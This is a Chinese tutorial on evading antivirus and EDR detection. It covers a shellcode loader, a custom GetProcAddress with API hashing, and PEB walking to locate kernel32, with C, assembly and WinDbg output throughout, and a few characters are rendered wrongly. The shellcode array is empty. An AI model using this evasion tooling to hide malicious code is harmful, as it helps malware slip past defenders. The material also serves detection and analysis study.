本文来自黑客在思考团队鬼屋女鬼,在写代码的时候,我们经常会使用到API动态解析这样的代码,本文把基础到应用的相关内容写的十分详细,是一篇好文,供大家学习。
——菊花哥(恩师小天天)点评
一、前言
导入地址表(IAT)包含有关PE文件的信息,操作系统在可执行文件启动时动态加载。例如使用的函数和导出函数的DLL,此类信息常被AV/EDR用来对二进制文件进行签名以及检测,例如,内存操作(VirtualAlloc、VirtualProcect)和线程操作函数(CreateRemoteThread)以及键盘记录器(SetWindowsHookEx)等等。
如下图,下图展示了常规进程注入的二进制文件的导入地址簿,PE文件导入被认为是高度可疑的函数,因此,AV/EDR可以使用此信息来标记为 进程注入 等。
可以直接使用 dumpbin 查看文件导入表
dumpbin /import xxxxx.exe | findstr /i "xxxxx"
此处,其余的大部分的API函数都是由编译器添加的,不过也可以处理。
二、Dynamic winApi Resolution
需要用到两个函数GetProcAddress和GetModuleHandleA或LoadLibraryA
FARPROC GetProcAddress(
[in] HMODULE hModule, // 函数或变量的DLL模块的句柄 可用GetModuleHandle或LoadLibrary获取
[in] LPCSTR lpProcName // 函数或变量名
);
定义:
typedef int (FAR WINAPI *FARPROC)();
HMODULE GetModuleHandleA(
LPCSTR lpModuleName // 模块名称,成功返回句柄 失败返回NULL
);
HMODULE LoadLibraryA( // 一个dll文件,成功返回句柄 失败返回NULL
LPCSTR lpLibFileName
);
修改后的Loader代码如下:
typedef PVOID(WINAPI *PVirtualAlloc)(PVOID, SIZE_T, DWORD, DWORD);
typedef PVOID(WINAPI *PCreateThread)(PSECURITY_ATTRIBUTES, SIZE_T, PTHREAD_START_ROUTINE, PVOID, DWORD, PDWORD);
typedef PVOID(WINAPI *PWaitForSingleObject)(HANDLE, DWORD);
void main()
{
HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
PVirtualAlloc funcVirtualAlloc = (PVirtualAlloc)GetProcAddress(hKernel32, "VirtualAlloc");
PCreateThread funcCreateThread = (PCreateThread)GetProcAddress(hKernel32, "CreateThread");
PWaitForSingleObject funcWaitForSingleObject = (PWaitForSingleObject)GetProcAddress(hKernel32, "WaitForSingleObject");
unsigned char shellcode[] = "";
PVOID shellcode_exec = funcVirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE hThread = funcCreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
funcWaitForSingleObject(hThread, INFINITE);
}
缺点:虽然这种方法很简单方便,但是也有相对应的特征
-
字符串存在于二进制文件中 -
导入表中存在GetModuleHandle 和 GetProcAddress
三、自实现GetProcAddress
回顾一下上面的知识,我们可以直接使用GetProcAddress函数来动态获取函数地址
例如:
PVirtualAlloc funcVirtualAlloc = (PVirtualAlloc)GetProcAddress(hKernel32, "VirtualAlloc");
那么有没有办法可以自己实现 GetProcAddress 函数呢?
首先,GetProcAddress函数的第一个参数hModule,该参数表示加载的DLL的基址,当我们使用GetProcAddress动态获取函数时,需要从DLL中循环访问导出函数,并检查目标函数的名称是否存在来检索函数的地址。
如果我们要访问导出函数,就必须访问DLL的导出表 并 循环搜索确定目标函数,总结下来,GetProcAddress底层就是解析导出表来查找目标函数。
回顾一下 导出表结构
导出表的结构定义如下
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
其中最主要的是最后三个结构
-
AddressOfFunctions- 指向导出函数地址表,存储函数地址 -
AddressOfNames- 指向导出函数名称表,存储函数名称地址 -
AddressOfNameOrdinals- 指向导出函数序号表,存储函数的序号
访问导出表
// 获取模块的 DOS 头信息
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
// 获取模块的 NT 头信息
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew);
// 获取模块的可选头部信息
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader);
// 获取模块的导出表信息
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
typedef struct _IMAGE_EXPORT_DIRECTORY {
// ...
// ...
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
由于这些元素是RVA,必须添加模块的基地址才能获得VA
// 获取导出函数的地址表
PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions);
// 获取导出函数名字的地址表
PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames);
// 获取导出函数序号表
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
访问导出的函数
for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
// Searching for the target exported function
}
以动态获取VirtualAlloc 函数为例
for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]);
// 获取VirtualAlloc
if (strcmp(pFunctionName, "VirtualAlloc") == 0)
{
// 解析得到的VirtualAlloc地址
DWORD myVirtualAllocAddress = (DWORD)((PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
printf("PE VirtualAllocAddress = %xn", myVirtualAllocAddress);
break;
}
}
上面代码已经实现了 GetProcAddress 函数的功能,但是代码中还是出现了 VirtualAlloc 字符,通常这也是一个检测点
四、结合API Hash
针对上面代码出现的 API 名称 字符串,我们可以使用HASH字符串进行规避
API Hash 工作流程如下:
常用的hash算法如下:
1、Djb2
Djb2 是一种简单快速的哈希算法,主要用于生成字符串的哈希值,它的工作原理是遍历输入字符串的每个字符,将字符的
ASCII码值与一个常数相乘,并不断的累加结果,累加的结果即为哈希值。
#include <Windows.h>
#include <stdio.h>
DWORD HashStringDjb2A( LPCSTR String)
{
ULONG Hash = 5381;
INT c = 0;
while (c = *String++)
Hash = ((Hash << 5) + Hash) + c;
return Hash;
}
int main()
{
LPCSTR myString = "WaitForSingleObject";
DWORD hashValue = HashStringDjb2A(myString);
printf("API Hash value of the string '%s' is: 0x%xn", myString, hashValue);
return 0;
}
API Hash value of the string 'WaitForSingleObject' is: 0xeccda1ba
2、SDBM
SDBM哈希算法的原理就是经典的位运算和累加操作
DWORD HashStringSdbmA(LPCSTR String)
{
ULONG Hash = 0;
INT c;
while (c = *String++)
{
Hash = c + (Hash << 6) + (Hash << 16) - Hash;
}
return Hash;
}
3、LoseLose
LoseLose 算法通过循环访问字符串中的每个字符并对每个字符的 ASCII 值求和来计算输入字符串的哈希值
DWORD HashStringLoseLoseA(LPCSTR String)
{
ULONG Hash = 0;
INT c;
while (c = *String++)
{
Hash += c;
}
return Hash;
}
直接修改上面的自实现 GetProcAddress 函数,将函数名字全部修改为hash值,通过对比hash值,将相应的导出函数地址赋值给相应的函数指针变量
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
PVirtualAlloc funcVirtualAlloc;
PCreateThread funcCreateThread;
PWaitForSingleObject funcWaitForSingleObject;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]);
PVOID pFunctionAddress = (PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]];
if (HashStringDjb2A(pFunctionName) == 0x382c0f97)
{
// 如果哈希值相等,将相应的导出函数地址赋值给相应的函数指针变量
funcVirtualAlloc = (PVirtualAlloc)pFunctionAddress;
}
if (HashStringDjb2A(pFunctionName) == 0x7f08f452)
{
funcCreateThread = (PCreateThread)pFunctionAddress;
}
if (HashStringDjb2A(pFunctionName) == 0xeccda1ba)
{
funcWaitForSingleObject = (PWaitForSingleObject)pFunctionAddress;
}
}
五、利用PEB
通过上面的自实现 GetProcAddress() 函数 以及 API hash,导入表中已经没有了GetProcAddress(),但是还是存在GetModuleHandle,我们可以直接通过PEB来解决这个问题.
一、什么是PEB(Process Envirorment Block Structure)?
PEB全称是Process Environment Block 进程环境块。包含系统与当前进程关联的用户模式下的所有参数,比如说载入了的Dll的名字,进程开始处的参数,堆地址,检查当前进程是否在调试状态下以及DLL的镜像基地址等等。
二、什么是TEB?
TEB(thread environment block),也就是线程环境变量块,是在用户态下对线程的一种表示。在操作系统的分级下,其对于运行在最外层的用户态下的线程拥有最少的信息,对于运行在在最高级的内核态中的线程拥有最高级的信息。如果当前线程没有任何用户态的对象使用的话,那么就不会有TEB。原则上,如果一个线程在用户态下就能够完成处理,并且暂时不需要和内核态交互的话,那么这个信息就会放在TEB中。说白了,TEB是一个存储了线程基本属性的结构体。并且可以通过API来获得。
TEB的查找方式
-
在32位中,TEB总是由FS:[0]指向的,TEB的偏移0x18是指向自己的指针,偏移0x30(fs:[0x30]) 指向PEB 地址
-
在64位中,TEB是由GS:[0]指向的,TEB的偏移0x30是指向自己的指针,偏移0x60(gs:[0x60]) 指向PEB 地址
1.dt _TEB 可以看到PEB表偏移
0:000> dt _TEB
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x038 EnvironmentPointer : Ptr64 Void
+0x040 ClientId : _CLIENT_ID
+0x050 ActiveRpcHandle : Ptr64 Void
+0x058 ThreadLocalStoragePointer : Ptr64 Void
+0x060 ProcessEnvironmentBlock : Ptr64 _PEB
+0x068 LastErrorValue : Uint4B
+0x06c CountOfOwnedCriticalSections : Uint4B
+0x070 CsrClientThread : Ptr64 Void
+0x078 Win32ThreadInfo : Ptr64 Void
+0x080 User32Reserved : [26] Uint4B
+0x0e8 UserReserved : [5] Uint4B
+0x100 WOW32Reserved : Ptr64 Void
三、PEB结构
PEB 的结构如下,文档参考:http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented Functions%2FNT Objects%2FProcess%2FPEB.html
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PPEBLOCKROUTINE FastPebLockRoutine;
PPEBLOCKROUTINE FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PPVOID KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PPEB_FREE_BLOCK FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PPVOID ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PPVOID *ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, *PPEB;
这里直接用WinDbg调试notepad.exe
1.dt _PEB 得到LDR链的地址偏移
0:000> dt _PEB
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 BitField : UChar
+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 IsProtectedProcess : Pos 1, 1 Bit
+0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
+0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
+0x003 IsPackagedProcess : Pos 4, 1 Bit
+0x003 IsAppContainer : Pos 5, 1 Bit
+0x003 IsProtectedProcessLight : Pos 6, 1 Bit
+0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
+0x004 Padding0 : [4] UChar
+0x008 Mutant : Ptr64 Void
+0x010 ImageBaseAddress : Ptr64 Void
+0x018 Ldr : Ptr64 _PEB_LDR_DATA //此处是LDR链的地址
+0x020 ProcessParameters : Ptr64 _RTL_USER_PROCESS_PARAMETERS
+0x028 SubSystemData : Ptr64 Void
+0x030 ProcessHeap : Ptr64 Void
2.dt _PEB_LDR_DATA。
PRE_LDR_DATA结构体记录了当前进程中所有载入的模块,本质上是LDR_DATA_TABLE_ENTRY结构的三个双链表的头,每个表示一个加载的模块,结构如下
typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA
0:000> dt _PEB_LDR_DATA
ntdll!_PEB_LDR_DATA
+0x000 Length : Uint4B
+0x004 Initialized : UChar
+0x008 SsHandle : Ptr64 Void
+0x010 InLoadOrderModuleList : _LIST_ENTRY
+0x020 InMemoryOrderModuleList : _LIST_ENTRY
+0x030 InInitializationOrderModuleList : _LIST_ENTRY
+0x040 EntryInProgress : Ptr64 Void
+0x048 ShutdownInProgress : UChar
+0x050 ShutdownThreadId : Ptr64 Void
这里我们重点关注3个地方
InLoadOrderModuleList 模块加载顺序
InMemoryOrderModuleList 模块在内存中的顺序
InInitializationOrderModuleList 模块初始化装载顺序
三个list都是双链表,包含指向下一个元素(Flink)的指针和指向上一个元素的指针(Blink),其中每个指针占用8个字节,区别是模块的排列顺序不同,结构如下
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
0:000> dt _LIST_ENTRY
ntdll!_LIST_ENTRY
+0x000 Flink : Ptr64 _LIST_ENTRY //指向下一个_LDR_DATA_TABLE_ENTRY结构的InInitializationOrderLinks:_LIST_ENTRY
+0x008 Blink : Ptr64 _LIST_ENTRY //指向上一个_LDR_DATA_TABLE_ENTRY结构的InInitializationOrderLinks:_LIST_ENTRY
每个模块记录的信息
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;
FullDllName是dll的名称 从模块初始化装载顺序的链表已经是模块加载起始位置,而第一个加载的是ntdll.dll
3.dt _LDR_DATA_TABLE_ENTRY 查看DllBase偏移
链接的对象就是结构体LDR_DATA_TABLE_ENTRY。这个对象中存放了一些和模块加载相关的内容,结构如下
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
_ACTIVATION_CONTEXT * EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
0:000> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY //_PEB_LDR_DATA的第一个_LIST_ENTRY结构指向这里
+0x010 InMemoryOrderLinks : _LIST_ENTRY //_PEB_LDR_DATA的第二个_LIST_ENTRY结构指向这里
+0x020 InInitializationOrderLinks : _LIST_ENTRY //_PEB_LDR_DATA的第三个_LIST_ENTRY结构指向这里
+0x030 DllBase : Ptr64 Void //DLL基址
+0x038 EntryPoint : Ptr64 Void
+0x040 SizeOfImage : Uint4B
+0x048 FullDllName : _UNICODE_STRING //带路径的dll的名称
+0x058 BaseDllName : _UNICODE_STRING //dll的名称
+0x068 FlagGroup : [4] UChar
+0x068 Flags : Uint4B
+0x068 PackagedBinary : Pos 0, 1 Bit
+0x068 MarkedForRemoval : Pos 1, 1 Bit
+0x068 ImageDll : Pos 2, 1 Bit
+0x068 LoadNotificationsSent : Pos 3, 1 Bit
+0x068 TelemetryEntryProcessed : Pos 4, 1 Bit
+0x068 ProcessStaticImport : Pos 5, 1 Bit
这个对象中前三个属性也是存放了当前所有模块中链表的基本信息的值。然后在偏移量为0x30的地方存放了当前DllBase。
总结如图所示:
四、通过汇编实现获取Kernel32
根据前面的知识,我们可以得到以下结论
-
peb_address = [teb_address + 0x60] -
Ldr = [peb_address + 0x18] -
ldr_data_table = [Ldr + 0x30] -
dllbase = [ldr_data_table + 0x10] -
next_ldr = [ldr_data_table]
此处为x64下通过汇编获取Kernel32地址
.code
getKernel32 proc
mov rax,gs:[60h] //peb from teb
mov rax,[rax+18h] //peb_ldr_data from peb
mov rax,[rax+30h] //InInitializationOrderModuleList.Flink ntdll.dll
mov rax,[rax] //kernelbase.dll
mov rax,[rax] //kernel32.dll
mov rax,[rax+10h] //dllbase
ret
getKernel32 endp
end
x86直接直接内敛汇编即可,这里给出2种方式
// 1、InLoadOrderModuleList
unsigned int kerneladdress;
__asm {
xor eax, eax;清除eax
mov eax, fs: [eax + 30h] ; 指向PEB的指针
mov eax, [eax + 0ch]; 指向PEB_LDR_DATA的指针
mov eax, [eax + 0ch]; 根据PEB_LDR_DATA得出InLoadOrderModuleList的Flink字段
mov esi, [eax]; esi指向InLoadOrderModuleList的第一个节点
lodsd; 遍历InLoadOrderModuleList, 加载下一个节点
mov eax, [eax + 18h]; Kernel32.dll的基地址, 在LDR_DATA_TABLE_ENTRY结构中基地址偏移0x18
mov kerneladdress, eax; 保存kernel32.dll基地址
}
// 2、InMemoryOrderModuleList
unsigned int kerneladdress;
__asm {
xor eax, eax
mov eax, fs: [eax + 30h]
mov eax, [eax + 0ch]
mov eax, [eax + 14h]
mov esi, [eax]
lodsd
mov eax, [eax + 10h]
mov kerneladdress, eax
}
上面是使用汇编的例子,我们直接写一个通用代码
int ContainsSubstringW(const WCHAR* substring, const WCHAR* bigstring) {
const WCHAR* subpos = substring;
const WCHAR* bigpos = bigstring;
while (*bigpos) {
if (towlower(*bigpos) == towlower(*subpos)) {
subpos++;
if (*subpos == L'�') {
return 1;
}
}
else {
subpos = substring;
}
bigpos++;
}
return 0;
}
HMODULE WINAPI MyGetModuleHandle(LPCWSTR sModuleName) {
#ifdef _M_IX86
PEB* peb = (PEB*)__readfsdword(0x30);
#else
PEB* peb = (PEB*)__readgsqword(0x60);
#endif
PEB_LDR_DATA* ldr = peb->Ldr;
LIST_ENTRY* listEntry = ldr->InMemoryOrderModuleList.Flink;
while (listEntry != &ldr->InMemoryOrderModuleList) {
LDR_DATA_TABLE_ENTRY* moduleEntry = CONTAINING_RECORD(listEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (ContainsSubstringW(sModuleName, moduleEntry->FullDllName.Buffer)) {
wprintf(L"Found module: %lsn", moduleEntry->FullDllName.Buffer);
return (HMODULE)moduleEntry->DllBase;
}
listEntry = listEntry->Flink;
}
return NULL;
}
六、写在最后
根据上面的知识,我们已经实现了GetProcAddress和GetModuleHandleA,可以用来动态获取API函数,除了 Dynamic API Resolution外,静态规避还会检测其他东西
图片为23年,济南线下沙龙演讲内容
欢迎加入知识星球获取更多,更专业,更前沿的知识,
星球已运营3年,累计数千条内容的知识,800+星友,快来一起学习免杀。
原文始发于微信公众号(黑客在思考):什么?你连这都不会还学免杀?之「API动态解析」
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论